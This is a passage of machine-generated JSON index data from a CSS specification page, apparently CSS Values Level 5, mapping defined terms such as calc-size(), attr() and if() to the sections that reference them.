function"},{"refs":[{"id":"ref-for-valdef-width-min-content\u2460"}],"title":"10.2. \nResolving calc-size()"},{"refs":[{"id":"ref-for-valdef-width-min-content\u2461"},{"id":"ref-for-valdef-width-min-content\u2462"}],"title":"10.3. \nInterpolating calc-size()"},{"refs":[{"id":"ref-for-valdef-width-min-content\u2463"}],"title":"10.4. \nInterpolating sizing keywords: the interpolate-size property"}],"url":"https://www.w3.org/TR/css-sizing-3/#valdef-width-min-content"}, "d4441b24": {"dfnID":"d4441b24","dfnText":"?","external":true,"refSections":[{"refs":[{"id":"ref-for-mult-opt"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-mult-opt\u2460"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-mult-opt\u2461"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-mult-opt\u2462"},{"id":"ref-for-mult-opt\u2463"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-mult-opt\u2464"},{"id":"ref-for-mult-opt\u2465"},{"id":"ref-for-mult-opt\u2466"}],"title":"7.3. \nConditional Value Selection: the if() notation"},{"refs":[{"id":"ref-for-mult-opt\u2467"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-mult-opt\u2468"},{"id":"ref-for-mult-opt\u2460\u24ea"},{"id":"ref-for-mult-opt\u2460\u2460"},{"id":"ref-for-mult-opt\u2460\u2461"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-mult-opt\u2460\u2462"},{"id":"ref-for-mult-opt\u2460\u2463"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-mult-opt\u2460\u2464"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"}],"url":"https://www.w3.org/TR/css-values-4/#mult-opt"}, "d56fefb4": {"dfnID":"d56fefb4","dfnText":"@container","external":true,"refSections":[{"refs":[{"id":"ref-for-at-ruledef-container"},{"id":"ref-for-at-ruledef-container\u2460"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-at-ruledef-container\u2461"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"https://www.w3.org/TR/css-conditional-5/#at-ruledef-container"}, "d73c993d": {"dfnID":"d73c993d","dfnText":"<integer>","external":true,"refSections":[{"refs":[{"id":"ref-for-integer-value"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"},{"refs":[{"id":"ref-for-integer-value\u2460"},{"id":"ref-for-integer-value\u2461"},{"id":"ref-for-integer-value\u2462"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://www.w3.org/TR/css-values-4/#integer-value"}, "d79a826f": {"dfnID":"d79a826f","dfnText":"integrity metadata","external":true,"refSections":[{"refs":[{"id":"ref-for-concept-request-integrity-metadata"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"https://fetch.spec.whatwg.org/#concept-request-integrity-metadata"}, "db0a062f": {"dfnID":"db0a062f","dfnText":"attribute","external":true,"refSections":[{"refs":[{"id":"ref-for-concept-attribute"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://dom.spec.whatwg.org/#concept-attribute"}, "dc2ecc7a": {"dfnID":"dc2ecc7a","dfnText":"alignment subject","external":true,"refSections":[{"refs":[{"id":"ref-for-alignment-subject"},{"id":"ref-for-alignment-subject\u2460"},{"id":"ref-for-alignment-subject\u2461"},{"id":"ref-for-alignment-subject\u2462"},{"id":"ref-for-alignment-subject\u2463"},{"id":"ref-for-alignment-subject\u2464"},{"id":"ref-for-alignment-subject\u2465"},{"id":"ref-for-alignment-subject\u2466"},{"id":"ref-for-alignment-subject\u2467"},{"id":"ref-for-alignment-subject\u2468"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://www.w3.org/TR/css-align-3/#alignment-subject"}, "dcecfc13": {"dfnID":"dcecfc13","dfnText":"<ident>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-ident"},{"id":"ref-for-typedef-ident\u2460"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-typedef-ident\u2461"}],"title":"7.3. \nConditional Value Selection: the if() notation"},{"refs":[{"id":"ref-for-typedef-ident\u2462"},{"id":"ref-for-typedef-ident\u2463"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"}],"url":"https://www.w3.org/TR/css-values-4/#typedef-ident"}, "ddbb25e9": {"dfnID":"ddbb25e9","dfnText":"not animatable","external":true,"refSections":[{"refs":[{"id":"ref-for-not-animatable"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"https://www.w3.org/TR/web-animations-1/#not-animatable"}, "de-percentify-a-calc-size-calculation": {"dfnID":"de-percentify-a-calc-size-calculation","dfnText":"de-percentify a calc-size calculation","external":false,"refSections":[{"refs":[{"id":"ref-for-de-percentify-a-calc-size-calculation"}],"title":"10.1. \nSimplifying calc-size()"}],"url":"#de-percentify-a-calc-size-calculation"}, "de901111": {"dfnID":"de901111","dfnText":"functional notation","external":true,"refSections":[{"refs":[{"id":"ref-for-functional-notation"},{"id":"ref-for-functional-notation\u2460"}],"title":"3.1.1. \nCommas in Function Arguments"},{"refs":[{"id":"ref-for-functional-notation\u2461"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-functional-notation\u2462"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-functional-notation\u2463"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-functional-notation\u2464"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"},{"refs":[{"id":"ref-for-functional-notation\u2465"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"},{"refs":[{"id":"ref-for-functional-notation\u2466"}],"title":"7.2. \nSelecting the First Supported Value: the first-valid() notation"},{"refs":[{"id":"ref-for-functional-notation\u2467"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-functional-notation\u2468"},{"id":"ref-for-functional-notation\u2460\u24ea"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"},{"refs":[{"id":"ref-for-functional-notation\u2460\u2460"},{"id":"ref-for-functional-notation\u2460\u2461"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/css-values-4/#functional-notation"}, "dfd67b05": {"dfnID":"dfd67b05","dfnText":"*","external":true,"refSections":[{"refs":[{"id":"ref-for-x"},{"id":"ref-for-x\u2460"}],"title":"3.3.1. \nParsing as <syntax>"}],"url":"https://www.w3.org/TR/selectors-3/#x"}, "e112902f": {"dfnID":"e112902f","dfnText":"end","external":true,"refSections":[{"refs":[{"id":"ref-for-end"},{"id":"ref-for-end\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#end"}, "e14541aa": {"dfnID":"e14541aa","dfnText":"shorthand","external":true,"refSections":[{"refs":[{"id":"ref-for-shorthand-property"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-shorthand-property\u2460"},{"id":"ref-for-shorthand-property\u2461"}],"title":"\nSubstitution in Shorthand Properties"}],"url":"https://www.w3.org/TR/css-cascade-5/#shorthand-property"}, "e2be1733": {"dfnID":"e2be1733","dfnText":"container feature","external":true,"refSections":[{"refs":[{"id":"ref-for-container-feature"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-container-feature\u2460"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"https://www.w3.org/TR/css-conditional-5/#container-feature"}, "e348080e": {"dfnID":"e348080e","dfnText":"x-axis","external":true,"refSections":[{"refs":[{"id":"ref-for-x-axis"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#x-axis"}, "eb6008ce": {"dfnID":"eb6008ce","dfnText":"writing mode","external":true,"refSections":[{"refs":[{"id":"ref-for-writing-mode"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#writing-mode"}, "ebb80614": {"dfnID":"ebb80614","dfnText":"made consistent","external":true,"refSections":[{"refs":[{"id":"ref-for-css-make-a-type-consistent"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-css-make-a-type-consistent\u2460"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-css-make-a-type-consistent\u2461"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"}],"url":"https://www.w3.org/TR/css-values-4/#css-make-a-type-consistent"}, "ecdc236d": {"dfnID":"ecdc236d","dfnText":"palette-mix()","external":true,"refSections":[{"refs":[{"id":"ref-for-funcdef-palette-mix"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"}],"url":"https://drafts.csswg.org/css-fonts-4/#funcdef-palette-mix"}, "eef9f659": {"dfnID":"eef9f659","dfnText":"<easing-function>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-easing-function"},{"id":"ref-for-typedef-easing-function\u2460"},{"id":"ref-for-typedef-easing-function\u2461"},{"id":"ref-for-typedef-easing-function\u2462"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"}],"url":"https://www.w3.org/TR/css-easing-2/#typedef-easing-function"}, "ef3b1aec": {"dfnID":"ef3b1aec","dfnText":"<mf-name>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-mf-name"},{"id":"ref-for-typedef-mf-name\u2460"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-typedef-mf-name\u2461"},{"id":"ref-for-typedef-mf-name\u2462"},{"id":"ref-for-typedef-mf-name\u2463"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"https://www.w3.org/TR/mediaqueries-5/#typedef-mf-name"}, "ef9f8297": {"dfnID":"ef9f8297","dfnText":"*","external":true,"refSections":[{"refs":[{"id":"ref-for-mult-zero-plus"},{"id":"ref-for-mult-zero-plus\u2460"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-mult-zero-plus\u2461"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-mult-zero-plus\u2462"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"https://www.w3.org/TR/css-values-4/#mult-zero-plus"}, "f0811ff8": {"dfnID":"f0811ff8","dfnText":"img","external":true,"refSections":[{"refs":[{"id":"ref-for-the-img-element"}],"title":"\nSecurity Considerations"}],"url":"https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element"}, "f19fcfc8": {"dfnID":"f19fcfc8","dfnText":"match","external":true,"refSections":[{"refs":[{"id":"ref-for-cssnumericvalue-match"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-cssnumericvalue-match\u2460"}],"title":"10.1. \nSimplifying calc-size()"}],"url":"https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-match"}, "f5426905": {"dfnID":"f5426905","dfnText":"animation-timeline","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-animation-timeline"},{"id":"ref-for-propdef-animation-timeline\u2460"},{"id":"ref-for-propdef-animation-timeline\u2461"},{"id":"ref-for-propdef-animation-timeline\u2462"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"}],"url":"https://www.w3.org/TR/css-animations-2/#propdef-animation-timeline"}, "f5b34cad": {"dfnID":"f5b34cad","dfnText":"<dashed-ident>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-dashed-ident"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"},{"refs":[{"id":"ref-for-typedef-dashed-ident\u2460"},{"id":"ref-for-typedef-dashed-ident\u2461"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-typedef-dashed-ident\u2462"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-typedef-dashed-ident\u2463"},{"id":"ref-for-typedef-dashed-ident\u2464"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"}],"url":"https://www.w3.org/TR/css-values-4/#typedef-dashed-ident"}, "f9309bf7": {"dfnID":"f9309bf7","dfnText":"<delim-token>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-delim-token"},{"id":"ref-for-typedef-delim-token\u2460"},{"id":"ref-for-typedef-delim-token\u2461"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-typedef-delim-token\u2462"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://www.w3.org/TR/css-syntax-3/#typedef-delim-token"}, "f9e6c5c6": {"dfnID":"f9e6c5c6","dfnText":"<calc-sum>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-calc-sum"},{"id":"ref-for-typedef-calc-sum\u2460"},{"id":"ref-for-typedef-calc-sum\u2461"},{"id":"ref-for-typedef-calc-sum\u2462"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-typedef-calc-sum\u2463"},{"id":"ref-for-typedef-calc-sum\u2464"},{"id":"ref-for-typedef-calc-sum\u2465"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-typedef-calc-sum\u2466"},{"id":"ref-for-typedef-calc-sum\u2467"},{"id":"ref-for-typedef-calc-sum\u2468"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-typedef-calc-sum\u2460\u24ea"},{"id":"ref-for-typedef-calc-sum\u2460\u2460"},{"id":"ref-for-typedef-calc-sum\u2460\u2461"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-typedef-calc-sum\u2460\u2462"},{"id":"ref-for-typedef-calc-sum\u2460\u2463"},{"id":"ref-for-typedef-calc-sum\u2460\u2464"},{"id":"ref-for-typedef-calc-sum\u2460\u2465"},{"id":"ref-for-typedef-calc-sum\u2460\u2466"},{"id":"ref-for-typedef-calc-sum\u2460\u2467"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-typedef-calc-sum\u2460\u2468"},{"id":"ref-for-typedef-calc-sum\u2461\u24ea"},{"id":"ref-for-typedef-calc-sum\u2461\u2460"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-typedef-calc-sum\u2461\u2461"},{"id":"ref-for-typedef-calc-sum\u2461\u2462"},{"id":"ref-for-typedef-calc-sum\u2461\u2463"}],"title":"10.1. \nSimplifying calc-size()"},{"refs":[{"id":"ref-for-typedef-calc-sum\u2461\u2464"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"https://www.w3.org/TR/css-values-4/#typedef-calc-sum"}, "fa522ba4": {"dfnID":"fa522ba4","dfnText":"whitespace","external":true,"refSections":[{"refs":[{"id":"ref-for-whitespace"},{"id":"ref-for-whitespace\u2460"},{"id":"ref-for-whitespace\u2461"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"https://www.w3.org/TR/css-syntax-3/#whitespace"}, "fb5c7e3f": {"dfnID":"fb5c7e3f","dfnText":"alignment container","external":true,"refSections":[{"refs":[{"id":"ref-for-alignment-container"},{"id":"ref-for-alignment-container\u2460"},{"id":"ref-for-alignment-container\u2461"},{"id":"ref-for-alignment-container\u2462"},{"id":"ref-for-alignment-container\u2463"},{"id":"ref-for-alignment-container\u2464"},{"id":"ref-for-alignment-container\u2465"},{"id":"ref-for-alignment-container\u2466"},{"id":"ref-for-alignment-container\u2467"},{"id":"ref-for-alignment-container\u2468"},{"id":"ref-for-alignment-container\u2460\u24ea"},{"id":"ref-for-alignment-container\u2460\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://www.w3.org/TR/css-align-3/#alignment-container"}, "fbc261d2": {"dfnID":"fbc261d2","dfnText":"size features","external":true,"refSections":[{"refs":[{"id":"ref-for-size-features"},{"id":"ref-for-size-features\u2460"},{"id":"ref-for-size-features\u2461"},{"id":"ref-for-size-features\u2462"},{"id":"ref-for-size-features\u2463"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"https://www.w3.org/TR/css-conditional-5/#size-features"}, "fc8ac26a": {"dfnID":"fc8ac26a","dfnText":"ultimate originating element","external":true,"refSections":[{"refs":[{"id":"ref-for-ultimate-originating-element"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://www.w3.org/TR/selectors-4/#ultimate-originating-element"}, "fdbd0bc3": {"dfnID":"fdbd0bc3","dfnText":"calculation","external":true,"refSections":[{"refs":[{"id":"ref-for-calc-calculation"},{"id":"ref-for-calc-calculation\u2460"},{"id":"ref-for-calc-calculation\u2461"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-calc-calculation\u2462"},{"id":"ref-for-calc-calculation\u2463"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-calc-calculation\u2464"},{"id":"ref-for-calc-calculation\u2465"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-calc-calculation\u2466"},{"id":"ref-for-calc-calculation\u2467"},{"id":"ref-for-calc-calculation\u2468"},{"id":"ref-for-calc-calculation\u2460\u24ea"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-calc-calculation\u2460\u2460"},{"id":"ref-for-calc-calculation\u2460\u2461"},{"id":"ref-for-calc-calculation\u2460\u2462"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"}],"url":"https://www.w3.org/TR/css-values-4/#calc-calculation"}, "fecad99e": {"dfnID":"fecad99e","dfnText":"<color>","external":true,"refSections":[{"refs":[{"id":"ref-for-value-def-color"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-value-def-color\u2460"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-value-def-color\u2461"},{"id":"ref-for-value-def-color\u2462"},{"id":"ref-for-value-def-color\u2463"},{"id":"ref-for-value-def-color\u2464"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-value-def-color\u2465"},{"id":"ref-for-value-def-color\u2466"},{"id":"ref-for-value-def-color\u2467"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"}],"url":"https://www.w3.org/TR/CSS21/syndata.html#value-def-color"}, "funcdef-attr": {"dfnID":"funcdef-attr","dfnText":"attr()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-attr"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-funcdef-attr\u2460"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-funcdef-attr\u2461"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-funcdef-attr\u2462"},{"id":"ref-for-funcdef-attr\u2463"},{"id":"ref-for-funcdef-attr\u2464"},{"id":"ref-for-funcdef-attr\u2465"},{"id":"ref-for-funcdef-attr\u2466"},{"id":"ref-for-funcdef-attr\u2467"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-funcdef-attr\u2468"},{"id":"ref-for-funcdef-attr\u2460\u24ea"},{"id":"ref-for-funcdef-attr\u2460\u2460"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-funcdef-attr\u2460\u2461"},{"id":"ref-for-funcdef-attr\u2460\u2462"},{"id":"ref-for-funcdef-attr\u2460\u2463"},{"id":"ref-for-funcdef-attr\u2460\u2464"},{"id":"ref-for-funcdef-attr\u2460\u2465"},{"id":"ref-for-funcdef-attr\u2460\u2466"},{"id":"ref-for-funcdef-attr\u2460\u2467"}],"title":"7.7.2. \nSecurity"},{"refs":[{"id":"ref-for-funcdef-attr\u2460\u2468"},{"id":"ref-for-funcdef-attr\u2461\u24ea"},{"id":"ref-for-funcdef-attr\u2461\u2460"},{"id":"ref-for-funcdef-attr\u2461\u2461"},{"id":"ref-for-funcdef-attr\u2461\u2462"},{"id":"ref-for-funcdef-attr\u2461\u2463"}],"title":"7.7.3. \nCycles"},{"refs":[{"id":"ref-for-funcdef-attr\u2461\u2464"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"},{"refs":[{"id":"ref-for-funcdef-attr\u2461\u2465"},{"id":"ref-for-funcdef-attr\u2461\u2466"}],"title":"\nChanges"},{"refs":[{"id":"ref-for-funcdef-attr\u2461\u2467"}],"title":"\nAdditions Since Level 4"},{"refs":[{"id":"ref-for-funcdef-attr\u2461\u2468"}],"title":"\nSecurity Considerations"},{"refs":[{"id":"ref-for-funcdef-attr\u2462\u24ea"}],"title":"\nPrivacy Considerations"}],"url":"#funcdef-attr"}, "funcdef-attr-type": {"dfnID":"funcdef-attr-type","dfnText":"type( <syntax> )","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-attr-type"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"#funcdef-attr-type"}, "funcdef-calc-mix": {"dfnID":"funcdef-calc-mix","dfnText":"calc-mix()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-calc-mix"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-funcdef-calc-mix\u2460"},{"id":"ref-for-funcdef-calc-mix\u2461"},{"id":"ref-for-funcdef-calc-mix\u2462"},{"id":"ref-for-funcdef-calc-mix\u2463"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"}],"url":"#funcdef-calc-mix"}, "funcdef-calc-size": {"dfnID":"funcdef-calc-size","dfnText":"<calc-size()>","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-calc-size"},{"id":"ref-for-funcdef-calc-size\u2460"},{"id":"ref-for-funcdef-calc-size\u2461"},{"id":"ref-for-funcdef-calc-size\u2462"},{"id":"ref-for-funcdef-calc-size\u2463"},{"id":"ref-for-funcdef-calc-size\u2464"},{"id":"ref-for-funcdef-calc-size\u2465"},{"id":"ref-for-funcdef-calc-size\u2466"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-funcdef-calc-size\u2467"},{"id":"ref-for-funcdef-calc-size\u2468"},{"id":"ref-for-funcdef-calc-size\u2460\u24ea"},{"id":"ref-for-funcdef-calc-size\u2460\u2460"},{"id":"ref-for-funcdef-calc-size\u2460\u2461"}],"title":"10.1. \nSimplifying calc-size()"},{"refs":[{"id":"ref-for-funcdef-calc-size\u2460\u2462"},{"id":"ref-for-funcdef-calc-size\u2460\u2463"},{"id":"ref-for-funcdef-calc-size\u2460\u2464"},{"id":"ref-for-funcdef-calc-size\u2460\u2465"},{"id":"ref-for-funcdef-calc-size\u2460\u2466"},{"id":"ref-for-funcdef-calc-size\u2460\u2467"}],"title":"10.2. \nResolving calc-size()"},{"refs":[{"id":"ref-for-funcdef-calc-size\u2460\u2468"},{"id":"ref-for-funcdef-calc-size\u2461\u24ea"},{"id":"ref-for-funcdef-calc-size\u2461\u2460"},{"id":"ref-for-funcdef-calc-size\u2461\u2461"},{"id":"ref-for-funcdef-calc-size\u2461\u2462"},{"id":"ref-for-funcdef-calc-size\u2461\u2463"},{"id":"ref-for-funcdef-calc-size\u2461\u2464"},{"id":"ref-for-funcdef-calc-size\u2461\u2465"},{"id":"ref-for-funcdef-calc-size\u2461\u2466"},{"id":"ref-for-funcdef-calc-size\u2461\u2467"}],"title":"10.3. \nInterpolating calc-size()"},{"refs":[{"id":"ref-for-funcdef-calc-size\u2461\u2468"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-calc-size"}, "funcdef-container-progress": {"dfnID":"funcdef-container-progress","dfnText":"container-progress()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-container-progress"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-funcdef-container-progress\u2460"},{"id":"ref-for-funcdef-container-progress\u2461"},{"id":"ref-for-funcdef-container-progress\u2462"},{"id":"ref-for-funcdef-container-progress\u2463"},{"id":"ref-for-funcdef-container-progress\u2464"},{"id":"ref-for-funcdef-container-progress\u2465"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-funcdef-container-progress\u2466"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-funcdef-container-progress\u2467"}],"title":"\nChanges"}],"url":"#funcdef-container-progress"}, "funcdef-first-valid": {"dfnID":"funcdef-first-valid","dfnText":"first-valid()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-first-valid"},{"id":"ref-for-funcdef-first-valid\u2460"},{"id":"ref-for-funcdef-first-valid\u2461"}],"title":"7.2. \nSelecting the First Supported Value: the first-valid() notation"},{"refs":[{"id":"ref-for-funcdef-first-valid\u2462"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-first-valid"}, "funcdef-ident": {"dfnID":"funcdef-ident","dfnText":"ident()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-ident"},{"id":"ref-for-funcdef-ident\u2460"},{"id":"ref-for-funcdef-ident\u2461"},{"id":"ref-for-funcdef-ident\u2462"},{"id":"ref-for-funcdef-ident\u2463"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"}],"url":"#funcdef-ident"}, "funcdef-if": {"dfnID":"funcdef-if","dfnText":"if()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-if"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-funcdef-if\u2460"},{"id":"ref-for-funcdef-if\u2461"},{"id":"ref-for-funcdef-if\u2462"},{"id":"ref-for-funcdef-if\u2463"},{"id":"ref-for-funcdef-if\u2464"},{"id":"ref-for-funcdef-if\u2465"}],"title":"7.3. \nConditional Value Selection: the if() notation"},{"refs":[{"id":"ref-for-funcdef-if\u2466"}],"title":"\nChanges"},{"refs":[{"id":"ref-for-funcdef-if\u2467"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-if"}, "funcdef-inherit": {"dfnID":"funcdef-inherit","dfnText":"inherit()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-inherit"},{"id":"ref-for-funcdef-inherit\u2460"},{"id":"ref-for-funcdef-inherit\u2461"},{"id":"ref-for-funcdef-inherit\u2462"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-funcdef-inherit\u2463"}],"title":"\nChanges"},{"refs":[{"id":"ref-for-funcdef-inherit\u2464"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-inherit"}, "funcdef-media-progress": {"dfnID":"funcdef-media-progress","dfnText":"media-progress()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-media-progress"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-funcdef-media-progress\u2460"},{"id":"ref-for-funcdef-media-progress\u2461"},{"id":"ref-for-funcdef-media-progress\u2462"},{"id":"ref-for-funcdef-media-progress\u2463"},{"id":"ref-for-funcdef-media-progress\u2464"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-funcdef-media-progress\u2465"},{"id":"ref-for-funcdef-media-progress\u2466"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-funcdef-media-progress\u2467"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-funcdef-media-progress\u2468"}],"title":"\nChanges"},{"refs":[{"id":"ref-for-funcdef-media-progress\u2460\u24ea"}],"title":"\nPrivacy Considerations"}],"url":"#funcdef-media-progress"}, "funcdef-mix": {"dfnID":"funcdef-mix","dfnText":"mix()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-mix"}],"title":"3.1.1. \nCommas in Function Arguments"},{"refs":[{"id":"ref-for-funcdef-mix\u2460"},{"id":"ref-for-funcdef-mix\u2461"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-funcdef-mix\u2462"},{"id":"ref-for-funcdef-mix\u2463"},{"id":"ref-for-funcdef-mix\u2464"},{"id":"ref-for-funcdef-mix\u2465"},{"id":"ref-for-funcdef-mix\u2466"},{"id":"ref-for-funcdef-mix\u2467"},{"id":"ref-for-funcdef-mix\u2468"},{"id":"ref-for-funcdef-mix\u2460\u24ea"},{"id":"ref-for-funcdef-mix\u2460\u2460"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"#funcdef-mix"}, "funcdef-progress": {"dfnID":"funcdef-progress","dfnText":"progress()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-progress"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-funcdef-progress\u2460"},{"id":"ref-for-funcdef-progress\u2461"},{"id":"ref-for-funcdef-progress\u2462"},{"id":"ref-for-funcdef-progress\u2463"},{"id":"ref-for-funcdef-progress\u2464"},{"id":"ref-for-funcdef-progress\u2465"}],"title":"5.1. \nCalculated Progress Values: the progress() 